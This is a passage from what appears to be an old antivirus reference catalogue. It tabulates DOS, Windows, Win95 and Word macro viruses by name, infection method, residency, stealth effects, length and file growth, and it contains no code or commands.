º.Daddy ¦INT ¦MCB ¦ H ¦1093 ¦ CE * ¦ e ¦ L º
º.Fame ¦INT ¦MCB ¦ Er ¦842 ¦ E+boot * ¦ e ¦ L º
º.Hemlock ¦INT ¦MCB ¦ - ¦3183 ¦ CES+boot*¦ e ¦ L º
º.Idle ¦INT ¦MCB ¦ - ¦692 ¦ .C.E&CE ¦ e ¦ L º
º.Insert ¦INT ¦MCB ¦ - ¦273 ¦ .C ¦ s ¦ L º
º.Lapis ¦INT ¦INTB¦ - ¦445 ¦ E * ¦ i ¦ L º
º.Mummy ¦INT ¦KEEP¦ Er ¦471 ¦ .E * ¦ s ¦ L, companion º
º.Neither ¦FIND¦ - ¦ - ¦322 ¦ .C&C ¦ s ¦ L º
º.NoOne ¦INT ¦MCB ¦ - ¦1237 ¦ C ¦ e ¦ L º
º.Republic ¦INT ¦MCB ¦ - ¦1206 ¦ .C.E&CE ¦ e ¦ L º
º.Sister ¦INT ¦MCB ¦ Er ¦792 ¦ .E * ¦ e ¦ L º
º.Systa ¦FIND¦ - ¦ - ¦231 ¦ .S&S ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºVodka.551 ¦INT ¦MCB ¦ H ¦551 ¦ E * ¦ e ¦ L º
ºVodka.560 ¦INT ¦MCB ¦ V ¦560 ¦ E * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºVoronezh.370 ¦INT ¦KEEP¦ - ¦370 ¦ C ¦ s ¦ L º
ºVoronezh.600 ¦INT ¦MCB ¦ - ¦600 ¦ C ¦ s ¦ L º
ºVoronezh.650 ¦INT ¦MCB ¦ V ¦650 ¦ C * ¦ s ¦ L º
ºVoronezh.1536(3¦INT ¦MCB ¦ChEr¦1536 ¦ .C.E * ¦ e ¦ L º
ºVoronezh.1584 ¦INT ¦MCB ¦ HEr¦1584 ¦ .C.E * ¦ e ¦ L º
ºVoronezh.1600(2¦INT ¦MCB ¦ Er ¦1600 ¦ .C.E&CE* ¦CsEe ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºVS.612 ¦INT ¦MCB ¦ - ¦612 ¦ C * ¦ e ¦ L+p º
ºVS.1000 (3)¦INT ¦MCB ¦ - ¦1000 ¦ E ¦ e ¦ L º
ºVS.2790 ¦INT ¦MCB ¦ S ¦2790 ¦ .C.E&CE* ¦ e ¦ L º
ºVS.3900 ¦INT ¦MCB ¦ S ¦3900 ¦ .C.E&CE* ¦ e ¦ L º
ºVS.4000 ¦INT ¦MCB ¦ S ¦4000 ¦ .C.E&CE* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºVandal.1895 ¦INT ¦ADDR¦ V ¦1895 ¦ C * ¦ e ¦ L º
ºVanitas.2040 ¦INFI¦MCB ¦ VEr¦2040 ¦ E * ¦ e ¦ L º
ºVarna.1536 ¦INT ¦MCB ¦ H ¦1536 ¦ E+boot* ¦ e ¦ L º
ºVarWorm.913 ¦INT ¦MCB ¦ - ¦913 ¦ E * ¦ e ¦ L+? º
ºVBasic (4)¦FIND¦ - ¦ V ¦5120 ¦ .C.E&CE* ¦ e ¦ L+p º
ºVCode.2540 ¦FIND¦ - ¦ H ¦2540 ¦ .E * ¦ e ¦ L º
ºVComm.637 ¦FIND¦ * ¦ - ¦637 ¦ .E&E * ¦ e ¦ L+(0-512) º
ºVengeance.723 ¦FIND¦ - ¦ HV ¦723 ¦ .C * ¦ e ¦ L º
ºVeronika.1549 ¦INT ¦MCB ¦ HV ¦1549 ¦ .C.E&CE* ¦ e ¦ L º
ºVerwolf.3502 ¦FIND¦ * ¦ - ¦3502 ¦ .E&E * ¦ e ¦ L+? º
ºVet.1377 ¦INT ¦MCB ¦ V ¦1377 ¦ CE * ¦ s ¦ C-L, E-L+? º
ºVictim.600 ¦FIND¦ - ¦ Ch ¦600 ¦ .C.E&C * ¦ e ¦ L º
ºVinchuca.925 ¦INT ¦KEEP¦ HV ¦925 ¦ .C&C * ¦ s ¦ L º
ºVindicator.734 ¦INT ¦MCB ¦ V ¦734 ¦ .C ¦ s ¦ L º
ºVioletta.1024 ¦INT ¦KEEP¦ - ¦1024 ¦ .C ¦ s ¦ L º
ºVirgin.281 ¦FIND¦ - ¦ - ¦281 ¦ .C * ¦ s ¦ L º
ºViros.429 ¦INT ¦ADDR¦ V ¦429 ¦ .C * ¦ e ¦ L º
ºVojager.512 ¦INT ¦MCB ¦ - ¦512 ¦ .E&E * ¦ e ¦ L º
ºVpk.1430 ¦INT ¦VIDE¦ChV ¦1430 ¦ C * ¦ e ¦ L º
ºVriest.1280 ¦INT ¦KEEP¦ V ¦1280 ¦ .C ¦ s ¦ L ++ º
ºVs&W.507 ¦INT ¦MCB ¦ - ¦507 ¦ C * ¦ e ¦ L+p º
ºVxh.462 ¦FIND¦ - ¦ H ¦462 ¦ .C&C ¦ e ¦ L º
ºVxt.550 ¦INT ¦MCB ¦ - ¦550 ¦ C * ¦ e ¦ L º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File infectors, part W
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ºWarlock.666 ¦FIND¦ - ¦ - ¦666 ¦ .C&C * ¦ s ¦ L+(0-248) º
ºWarlock.1672 ¦INT ¦MCB ¦ H ¦1672 ¦ CEO * ¦ e ¦ C-L+p+4, E-L+p º
ºWarlock.1802 ¦INT ¦MCB ¦ H ¦1802 ¦ CEO * ¦ e ¦ L+p º
ºWarlock.1817 ¦INT ¦MCB ¦ H ¦1817 ¦ CE * ¦ e ¦ L+p º
ºWarlock.2879 ¦INT ¦MCB ¦ H ¦2879 ¦ CE * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºWasp.1312 ¦FIND¦ -* ¦ HV ¦1312 ¦ .C * ¦ s ¦ L º
ºWasp.1655 ¦INT ¦ADDR¦ HV ¦1655 ¦ C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºWereWolf.Beast ¦ ¦ ¦ ¦ ¦ ¦ ¦ º
º.1192 ¦INT ¦MCB ¦ H ¦1192 ¦ .C.E&CE* ¦CsEe ¦ C-L, E-L+p º
º.Beast.1208 ¦INT ¦MCB ¦ H ¦1208 ¦ .C.E&CE* ¦CsEe ¦ C-L, E-L+p º
º.Howl.2662 ¦INT ¦MCB ¦ H ¦2662 ¦ .C.E&CE* ¦ e ¦ L º
º.Howl.2845 ¦INT ¦MCB ¦ HEr¦2845 ¦ .C.E&CE* ¦ e ¦ L º
º.FullMoon ¦INT ¦MCB ¦ H ¦1367 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p º
º.Scream.1152 ¦INT ¦MCB ¦ H ¦1152 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p º
º.Scream.1158 ¦INT ¦MCB ¦ HEr¦1158 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p º
º.Scream.1168 ¦INT ¦MCB ¦ H ¦1168 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p º
º.Wulf (2)¦INT ¦MCB ¦ H ¦1500 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºWg.728 ¦INT ¦MCB ¦ H ¦728 ¦ E * ¦ e ¦ L+(0-12) º
ºWg.2413 ¦INT ¦MCB ¦ H ¦2413 ¦ E * ¦ e ¦ L+? º
ºWg.2423 ¦INT ¦MCB ¦ H ¦2423 ¦ E * ¦ e ¦ L+? º
ºWg.3822 ¦INT ¦MCB ¦HVEr¦3822 ¦ ES * ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºWindows - viruses º
ÇÄ Ä Ä Ä Ä Ä Ä Ä†Ä Ä † Ä Ä† Ä Ä† Ä Ä † Ä Ä Ä Ä Ä † Ä Ä † Ä Ä Ä Ä Ä Ä Ä Ä Ä¶
ºWin.Apparition ¦INT ¦ - ¦ HV ¦87438¦ NEW E ¦ s ¦ L+? º
ºWin.Apparition ¦INT ¦ - ¦ HV ¦89021¦ NEW E ¦ s ¦ L+? º
ºWin.Apparition ¦INT ¦ - ¦ HV ¦91565¦ NEW E ¦ s ¦ L+? º
º.CyberRiot ¦INT WinExec HV¦3272 ¦ NEW E* ¦ i,e ¦ L+? º
º.Lamer ¦FIND¦ - ¦ - ¦1743 ¦ NEW E* ¦ i ¦ L+? º
º.SoulMan ¦FIND¦ - ¦ - ¦4096 ¦ NEW E* ¦ i,e ¦ L+? º
º.Tentacle.1958 ¦FIND¦ - ¦ Ch ¦1958 ¦ NEW E* ¦ i,e ¦ L º
º.Tentacle.10634¦FIND¦ - ¦ Ch ¦10634¦ NEW E* ¦ i,e ¦ L º
º.Twitch (2)¦FIND¦ - ¦ - ¦ ? ¦ NEW E* ¦ i ¦ L º
º.Vik (3)¦FIND¦ - ¦ - ¦1152 ¦ NEW E* ¦ i ¦ L º
º.Vir1.4 (2)¦FIND¦ - ¦ - ¦854 ¦ NEW E* ¦ i ¦ L º
º.Winsurf.1171 ¦INFI¦shell - ¦1171 ¦ NEW E* ¦ e ¦ L º
º.Winsurf.1432 ¦INFI¦shell - ¦1432 ¦ NEW E* ¦ e ¦ L º
º.Wintiny ¦FIND¦ - ¦ - ¦741 ¦ NEW E* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºWin32 - viruses for WIN32 systems (Win32s/Windows 95/Windows NT) º
ÇÄ Ä Ä Ä Ä Ä Ä Ä†Ä Ä † Ä Ä† Ä Ä† Ä Ä † Ä Ä Ä Ä Ä † Ä Ä † Ä Ä Ä Ä Ä Ä Ä Ä Ä¶
ºWin32.Cabanas ¦INFI¦VMEM¦ - ¦3000 ¦ NEW E* ¦ e ¦ L+? º
º.Semisoft.59904¦FIND¦ - ¦ - ¦59904¦ NEW E ¦ s ¦ L º
º.Semisoft.60416¦FIND¦ - ¦ - ¦60416¦ NEW E ¦ s ¦ L º
ºWin32.HLLP ¦ ¦ ¦ ¦ ¦ ¦ ¦ º
º.Apparition ¦INT ¦WHIDE HV ¦79051¦ NEW E* ¦ s ¦ L+? º
º.Karabah ¦FIND¦ - ¦ - ¦186380 NEW E ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºWindows'95 - viruses º
ÇÄ Ä Ä Ä Ä Ä Ä Ä†Ä Ä † Ä Ä† Ä Ä† Ä Ä † Ä Ä Ä Ä Ä † Ä Ä † Ä Ä Ä Ä Ä Ä Ä Ä Ä¶
ºWin95.Boza (4)¦FIND¦ - ¦ V ¦2680 ¦ NEW E* ¦ i,e ¦ L+? º
º.Companion ¦FIND¦ - ¦ V ¦4096 ¦ NEW E* ¦ s ¦ L, companion º
º.Harry.1536 (2)¦INT ¦VMM ¦ VEr¦1536 ¦ NEW E* ¦ e ¦ L+? º
º.Harry.2560 ¦INT ¦VMM ¦ VEr¦2560 ¦ NEW E* ¦ e ¦ L+? º
º.Homer ¦INT ¦WTask - ¦ ? ¦ NEW E* ¦ e ¦ L º
º.Jacky ¦FIND¦ - ¦ - ¦1440 ¦ NEW E* ¦ e ¦ L º
º.Mad ¦FIND¦ - ¦ V ¦2736 ¦ NEW E* ¦ e ¦ L º
º.MrKlunky ¦INT ¦VxD ¦ Er ¦6943 ¦ NEW E* ¦ e ¦ VxD-L, E-L+1423 º
º.Memorial ¦INT ¦VxD ¦ VEr¦7783 ¦ CE&PE* ¦ e ¦ CE-L,PE+317 º
º.Punch ¦INT ¦VxD ¦ Er ¦9262 ¦ NEW E* ¦s,i,e¦ VxD-L, E-L+923+? º
º.Spawn ¦FIND¦ - ¦ - ¦4096 ¦ NEW E* ¦ s ¦ L, companion º
º.Zombie ¦FIND¦ - ¦ - ¦4584 ¦ NEW E* ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºWizard.802 ¦INT ¦ADDR¦ - ¦802 ¦ .C&C * ¦ e ¦ L º
ºWizard.812 ¦INT ¦MCB ¦ - ¦812 ¦ CE * ¦ e ¦ L+p º
ºWizard.897 ¦INT ¦MCB ¦ - ¦897 ¦ CE ¦ e ¦ L+p º
ºWizard.2502 ¦INT ¦MCB ¦ S ¦2502 ¦ .E&E * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMS-Office'97 - viruses º
ÇÄ Ä Ä Ä Ä Ä Ä Ä†Ä Ä † Ä Ä† Ä Ä† Ä Ä † Ä Ä Ä Ä Ä † Ä Ä † Ä Ä Ä Ä Ä Ä Ä Ä Ä¶
ºW97M.Alarm ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Allen ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Angus ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.AntiSR1 ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Appder (2)¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Change ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Concept (3)¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Czech ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Edds ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Eraser ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Frenzy ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Gable ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Imposter ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.India ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.KLA ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Kompu (2)¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.MadDog ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.MDMA ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Minimal (2)¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Mtf (2)¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Muck ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.NiceDay ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.NightShade ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Nuclear ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Nop ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Notice ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Nova ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Pomp ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Poppy (2)¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Rapi ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Sarabaya ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Tamago ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.TempAuto ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Twno ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Wazzu (4)¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
ÇÄ Ä Ä Ä Ä Ä Ä Ä†Ä Ä † Ä Ä† Ä Ä† Ä Ä † Ä Ä Ä Ä Ä † Ä Ä † Ä Ä Ä Ä Ä Ä Ä Ä Ä¶
ºWordMacro - viruses º
ÇÄ Ä Ä Ä Ä Ä Ä Ä†Ä Ä † Ä Ä† Ä Ä† Ä Ä † Ä Ä Ä Ä Ä † Ä Ä † Ä Ä Ä Ä Ä Ä Ä Ä Ä¶
ºWM.Alex ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Alien ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Alliance (3)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC*¦ i ¦ ? º
º.Ammy ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Anak ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Anarchy ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Andry ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Angelia ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Angus ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.AntiAVs ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Apparition ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Appder (2)¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC*¦ i ¦ ? º
º.Archie ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Armadillon ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Attack ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Atom (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Baby ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Balrog ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Bandung (2)¦Word¦GLB ¦ HV ¦ ? ¦WinWordDOC*¦ i ¦ ? º
º.Barbaro ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Bertika ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Bishkek ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.BlackDeath ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Blashyrkh ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Boogie ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Boom ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC*¦ i ¦ ? º
º.Buero ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC*¦ i ¦ ? º
º.Cap (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Cebu (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.CeeFour ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Chandiga ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Chaka ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Chaos ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC*¦ i ¦ ? º
º.Cheat (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Cheezhed ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Chill ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Colors ¦Word¦GLB ¦ V ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Concept (24)¦Word¦GLB ¦ V ¦ ? ¦WinWordDOC*¦ i ¦ ? º
º.CountTen ¦Word¦GLB ¦ V ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Cult ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.CVCK (2)¦Word¦GLB ¦ V ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Czech ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Daddy ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC*¦ i ¦ ? º
º.Dakota ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Daniel (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC*¦ i ¦ ? º
º.DarkSide (5)¦Word¦GLB ¦ V ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Date (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Dave ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Dedicato ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Demon (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Dietzel ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Divina (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Doggie (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Donoso ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Dracula ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Dzt ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Easy ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Elohim ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Emperor (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Emt ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.ENFK ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Epidemic ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Eraser (6)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Extra ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Fom ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.FormatC ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Friendly ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Fuzzy ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Gable ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Gas ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Gest ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Giggle ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Goggles ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.GoldFish ¦Word¦GLB ¦ V ¦ ? ¦WinWordDOC*¦ i ¦ ? º
º.GoldSecret ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.GreenFury ¦Word¦GLB ¦ V ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Grunt ¦Word¦GLB ¦ V ¦ ? ¦WinWordDOC*¦ i ¦ ? º
º.FiveA ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Habir ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Haggis ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Harkone ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Hassle ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Header ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Hellgate ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Helper ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Hiac ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Hider ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Hilight ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Hitman ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Hot ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Hunter ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Hybrid ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Imposter ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.India ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Inexist ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
